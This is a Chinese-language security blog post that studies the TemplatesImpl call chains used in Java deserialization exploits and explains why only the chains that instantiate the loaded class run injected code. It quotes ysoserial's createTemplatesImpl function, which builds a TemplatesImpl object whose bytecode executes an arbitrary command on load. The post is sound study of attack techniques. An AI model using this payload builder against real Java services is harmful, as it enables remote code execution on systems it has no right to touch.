TemplatesImpl利用链学习
2021-01-15   # JAVA安全

前言

学习 Java 反序列化利用链的过程中经常出现到 TemplatesImpl 的身影,这里简单分析一下它的作用以及调用链。

ClassLoader 加载字节码

我们都知道 Java 的 ClassLoader 是用来加载字节码文件最基础的方法,ClassLoader 是什么呢?它就是一个“加载器”,告诉Java虚拟机如何加载这个类,用一句话概括它的作用就是将传入的字节码处理成真正的 Java 类然后返回。

ClassLoader 处理字节码的流程为 loadClass -> findClass -> defineClass

​ loadClass: 从已加载的类缓存、父加载器等位置寻找类(这里实际上是双亲委派机制),在前面没有找到的情况下,执行 findClass

​ findClass: 根据基础URL指定的方式来加载类的字节码

​ defineClass:处理前面传入的字节码,将其处理成真正的Java类

所以将字节码转为 java 类的其实是 defineClass 方法, 翻看源码 ClassLoader#defineClass 是一个protected属性,无法直接在外部访问,只能通过反射的形式来调用。所以在实际场景中很难利用到它。

image-20210115173544326

利用 TemplatesImpl 加载字节码

前边说到 ClassLoader 的 defineClass 方法只能通过反射调用,在实际环境中很难有利用场景。但是在 TemplatesImpl 类中有一个内部类 TransletClassLoader 它重写了 defineClass,并且这里没有显式地声明其定义域。Java中默认情况下,如果一个方法没有显式声明作用域,其作用域为default。所以也就是说这里的 defineClass 由其父类的 protected 类型变成了一个 default 类型的方法,可以被类外部调用。

com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl

image-20210115181643940

但是 TransletClassLoader 是内部类,只允许 TemplatesImpl 类中的方法调用,我们跟一下有哪些方法用到了 TransletClassLoader。

TemplatesImpl 类中只有一个方法 TemplatesImpl#defineTransletClasses 用到了 TransletClassLoader 类,但是 TemplatesImpl#defineTransletClasses 是 private 类型。继续跟看哪调用了 TemplatesImpl#defineTransletClasses 方法。

com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl

image-20210115182341953

有三个方法调用了 TemplatesImpl#defineTransletClasses(), 其中 TemplatesImpl#getTransletIndex() 是 public 类型的,TemplatesImpl#getTransletClasses() 和 TemplatesImpl#getTransletInstance() 是 private 属性的。

1
2
3
private synchronized Class[] getTransletClasses()
public synchronized int getTransletIndex()
private Translet getTransletInstance()

尝试用 TemplatesImpl#getTransletIndex() 当作入口去调用 defineClass

1
TemplatesImpl#getTransletIndex() -> TemplatesImpl#defineTransletClasses() -> TemplatesImpl#defineTransletClasses() -> defineClass

这里用p牛文章中的dome,发现没用成功。

image-20210116132923834

这里原因暂时没搞清楚,继续跟 TemplatesImpl#getTransletClasses() 和 TemplatesImpl#getTransletInstance()

TemplatesImpl 类中已经没有调用 getTransletClasses() 的方法了,而 getTransletInstance() 方法在 public synchronized Transformer newTransformer 方法中被调用了

所以到这又有一条调用链

1
TemplatesImpl#newTransformer() -> TemplatesImpl#getTransletInstance() -> TemplatesImpl#defineTransletClasses()->TemplatesImpl#defineTransletClasses() -> TransletClassLoader#defineClass()  

image-20210116133937292

成功触发了HelloTemplatesImpl的构造函数,p牛文章中的调用链就是这个。

再继续跟进 TemplatesImpl#newTransformer() 发现 TemplatesImpl#getOutputProperties() 调用了 TemplatesImpl#newTransformer() 并且它也是 public 类型的

image-20210116140435918

1
TemplatesImpl#getOutputProperties() ->TemplatesImpl#newTransformer() -> TemplatesImpl#getTransletInstance() -> TemplatesImpl#defineTransletClasses()->TemplatesImpl#defineTransletClasses() -> TransletClassLoader#defineClass() 

image-20210116140536968

也成功触发了。

总结一下三条调用链

1
2
//未成功触发
TemplatesImpl#getTransletIndex() -> TemplatesImpl#defineTransletClasses()->TemplatesImpl#defineTransletClasses() -> TransletClassLoader#defineClass()
1
TemplatesImpl#newTransformer() -> TemplatesImpl#getTransletInstance() -> TemplatesImpl#defineTransletClasses()->TemplatesImpl#defineTransletClasses() -> TransletClassLoader#defineClass()  
1
TemplatesImpl#getOutputProperties() ->TemplatesImpl#newTransformer() -> TemplatesImpl#getTransletInstance() -> TemplatesImpl#defineTransletClasses()->TemplatesImpl#defineTransletClasses() -> TransletClassLoader#defineClass() 

为什么 getTransletIndex -> defineTransletClasses->defineTransletClasses -> defineClass 这条链不行呢,分别 debug 调试一下三条调用链发现最终到达 defineClass 的时候变量b 的值是一样的。请教了一下 P牛 ,发现这和defineClass() 的特性有关。在defineClass被调用的时候,类对象是不会被初始化的,只有这个对象显式地调用其构造函数,初始化代码才能被执行。而且,即使我们将初始化代码放在类的static块中,在defineClass时也无法被直接调用到。所以,如果我们要使用defineClass在目标机器上执行任意代码,需要想办法调用构造函数。回过来看调用的getTransletIndex ()方法,虽然有执行到defineClass,但后面没有对这个类对象进行实例化,也就是没有调用构造函数,所以其实是没有触发漏洞的。而TemplatesImpl#newTransformer(),在调用完TemplatesImpl#defineTransletClasses()后又调用了newInstance()构造函数(如图),所以触发了恶意代码,

ZSXQ_20210117_180148237

ysoserial 中的 Gadgets.createTemplatesImpl 函数, 其实就是生成一个 TemplatesImpl 去加载字节码从而实现执行命令

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
public static <T> T createTemplatesImpl ( final String command, Class<T> tplClass, Class<?> abstTranslet, Class<?> transFactory )
throws Exception {
//实例化TemplatesImpl
final T templates = tplClass.newInstance();

// use template gadget class
//************************创建Payload类生成字节码开始*******************************
ClassPool pool = ClassPool.getDefault();
pool.insertClassPath(new ClassClassPath(StubTransletPayload.class));
pool.insertClassPath(new ClassClassPath(abstTranslet));
final CtClass clazz = pool.get(StubTransletPayload.class.getName());
// run command in static initializer
// TODO: could also do fun things like injecting a pure-java rev/bind-shell to bypass naive protections
String cmd = "java.lang.Runtime.getRuntime().exec(\"" +
command.replaceAll("\\\\","\\\\\\\\").replaceAll("\"", "\\\"") +
"\");";
clazz.makeClassInitializer().insertAfter(cmd);
// sortarandom name to allow repeated exploitation (watch out for PermGen exhaustion)
clazz.setName("ysoserial.Pwner" + System.nanoTime());
CtClass superC = pool.get(abstTranslet.getName());
clazz.setSuperclass(superC);

final byte[] classBytes = clazz.toBytecode();
//************************创建Payload类生成字节码结束*******************************

// inject class bytes into instance,插入Class字节码到TemplatesImpl实例
Reflections.setFieldValue(templates, "_bytecodes", new byte[][] {
classBytes, ClassFiles.classAsBytes(Foo.class)
});

// required to make TemplatesImpl happy,喵喵喵?
Reflections.setFieldValue(templates, "_name", "Pwnr");
Reflections.setFieldValue(templates, "_tfactory", transFactory.newInstance());
return templates;
}

参考文章

https://blog.csdn.net/fnmsd/article/details/88543233

p牛 《Java安全漫谈 - 13.Java中动态加载字节码的那些方法》